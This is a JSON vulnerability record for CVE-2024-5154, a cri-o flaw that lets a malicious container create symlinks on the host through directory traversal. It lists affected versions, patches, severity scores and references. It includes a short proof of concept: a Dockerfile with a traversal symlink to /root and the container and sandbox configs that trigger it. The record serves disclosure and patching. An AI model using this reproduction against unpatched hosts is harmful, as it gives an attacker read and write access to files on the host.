{"id":"CVE-2024-5154","aliases":["CVE-2024-5154","GHSA-j9hf-98c3-wrm8","GO-2024-2919"],"related":[],"kind":"vulnerability","state":"published","title":"Cri-o: malicious container can create symlink on host","summary":"A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.","source":"cvelist"},{"lang":"en","text":"### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n  \"metadata\": {\n      \"name\": \"busybox\"\n  },\n  \"image\":{\n      \"image\": \"localhost/test\"\n  },\n  \"command\": [\n      \"/bin/true\"\n  ],\n  \"linux\": {\n  }\n}\n\n\n```\nand this sandbox config  \n```\n{\n  \"metadata\": {\n    \"name\": \"test-sandbox\",\n    \"namespace\": \"default\",\n    \"attempt\": 1,\n    \"uid\": \"edishd83djaideaduwk28bcsb\"\n  },\n  \"linux\": {\n    \"security_context\": {\n      \"namespace_options\": {\n        \"network\": 2\n      }\n    }\n  }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_","format":"markdown","source":"ghsa"},{"lang":"en","text":"malicious container creates symlink \"mtab\" on the host External in github.com/cri-o/cri-o","format":"markdown","source":"go"},{"lang":"es","text":"Se encontró un defecto en cri-o. Un contenedor malicioso puede crear un enlace simbólico que apunte a un directorio o archivo arbitrario en el host mediante el directory traversal (“../”). Esta falla permite que el contenedor lea y escriba en archivos arbitrarios en el sistema host.","source":"nvd"}],"published":"2024-06-04T18:12:31.000Z","modified":"2026-11-26T13:30:52.498Z","severity":{"scorer":"redhat","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"redhat","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","score":8.1,"rating":"HIGH"}],"cwes":["CWE-22","CWE-668"],"affected":[{"ranges":[{"type":"semver","introduced":"1.30.0","fixed":"1.30.1","status":"affected"},{"type":"semver","introduced":"1.29.4","fixed":"1.29.5","status":"affected"},{"type":"semver","introduced":"1.28.6","fixed":"1.28.7","status":"affected"}],"package":"cri-o","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.12","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.12::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.26.5-18.2.rhaos4.13.git2e90133.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.13","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.13::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.26.5-18.2.rhaos4.13.git2e90133.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.13","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.13::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.27.7-3.rhaos4.14.git674563e.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.14","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.14::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.27.7-3.rhaos4.14.git674563e.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.14","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.14::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.28.7-2.rhaos4.15.git111aec5.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.15","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.15::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.28.7-2.rhaos4.15.git111aec5.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.15","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.15::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.29.5-7.rhaos4.16.git7db4ada.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.16","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.16::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:5.14.0-427.24.1.el9_4","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.16","package":"kernel","cpe":"cpe:/a:redhat:openshift:4.16::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.16","package":"openshift","cpe":"cpe:/a:redhat:openshift:4.16::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:1.29.5-7.rhaos4.16.git7db4ada.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.16","package":"cri-o","cpe":"cpe:/a:redhat:openshift:4.16::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:5.14.0-427.24.1.el9_4","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.16","package":"kernel","cpe":"cpe:/a:redhat:openshift:4.16::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.16","package":"openshift","cpe":"cpe:/a:redhat:openshift:4.16::el8","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"417.94.202412040832-0","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4.17","package":"openshift/ose-rhel-coreos-9","cpe":"cpe:/a:redhat:openshift:4.17::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"container-tools:rhel8/podman","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"conmon","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 3.11","package":"cri-o","cpe":"cpe:/a:redhat:openshift:3.11","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.28.6","status":"affected","fixed":"1.28.7"}],"ecosystem":"Go","package":"github.com/cri-o/cri-o","purl":"pkg:golang/github.com/cri-o/cri-o","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.29.4","status":"affected","fixed":"1.29.5"}],"ecosystem":"Go","package":"github.com/cri-o/cri-o","purl":"pkg:golang/github.com/cri-o/cri-o","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.30.0","status":"affected","fixed":"1.30.1"}],"ecosystem":"Go","package":"github.com/cri-o/cri-o","purl":"pkg:golang/github.com/cri-o/cri-o","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.28.6","status":"affected","fixed":"1.28.7"},{"type":"semver","introduced":"1.29.4","status":"affected","fixed":"1.29.5"},{"type":"semver","introduced":"1.30.0","status":"affected","fixed":"1.30.1"}],"ecosystem":"Go","package":"github.com/cri-o/cri-o","purl":"pkg:golang/github.com/cri-o/cri-o","source":"go"},{"ranges":[{"status":"affected","version":"1.28.6"},{"status":"affected","version":"1.29.4"},{"status":"affected","version":"1.30.0"}],"vendor":"kubernetes","product":"cri-o","cpe":"cpe:2.3:a:kubernetes:cri-o:1.28.6:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"3.11"},{"status":"affected","version":"4.0"},{"status":"affected","version":"4.12"},{"status":"affected","version":"4.13"},{"status":"affected","version":"4.14"},{"status":"affected","version":"4.15"}],"vendor":"redhat","product":"openshift_container_platform","cpe":"cpe:2.3:a:redhat:openshift_container_platform:3.11:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://access.redhat.com/errata/RHSA-2024:10818","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2024:3676","tags":["vendor-advisory","web","x-refsource-redhat","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2024:3700","tags":["vendor-advisory","web","x-refsource-redhat","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2024:4008","tags":["vendor-advisory","web","x-refsource-redhat","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2024:4159","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2024:4486","tags":["vendor-advisory","web","x-refsource-redhat","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-5154","tags":["vdb-entry","vendor-advisory","web","x-refsource-redhat","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2280190","tags":["issue-tracking","web","x-refsource-redhat","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8","tags":["advisory","vendor-advisory","web","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-5154","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/cri-o/cri-o","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2024-2919","tags":["web"],"sources":["ghsa"]}],"credits":["Red Hat would like to thank Erik Sjölund (erik.sjolund@gmail.com) for reporting this issue."],"assigner":"redhat","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2024-07-13T20:15:38.501Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-5154","url":"https://www.cve.org/CVERecord?id=CVE-2024-5154","licence":"CVE Terms of Use","modified":"2026-11-26T13:30:52.498Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j9hf-98c3-wrm8","url":"https://github.com/advisories/GHSA-j9hf-98c3-wrm8","licence":"CC-BY-4.0","modified":"2026-07-08T07:14:03.386Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-2919","url":"https://pkg.go.dev/vuln/GO-2024-2919","licence":"CC-BY-4.0","modified":"2026-03-03T04:55:28.055Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-5154","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-5154","licence":"Public domain","modified":"2026-11-23T15:17:12.467Z"}],"updatedAt":"2026-11-26T13:37:08.097Z","epss":{"score":0.01237,"percentile":0.69924,"date":"2026-12-01T12:00:22.000Z"}}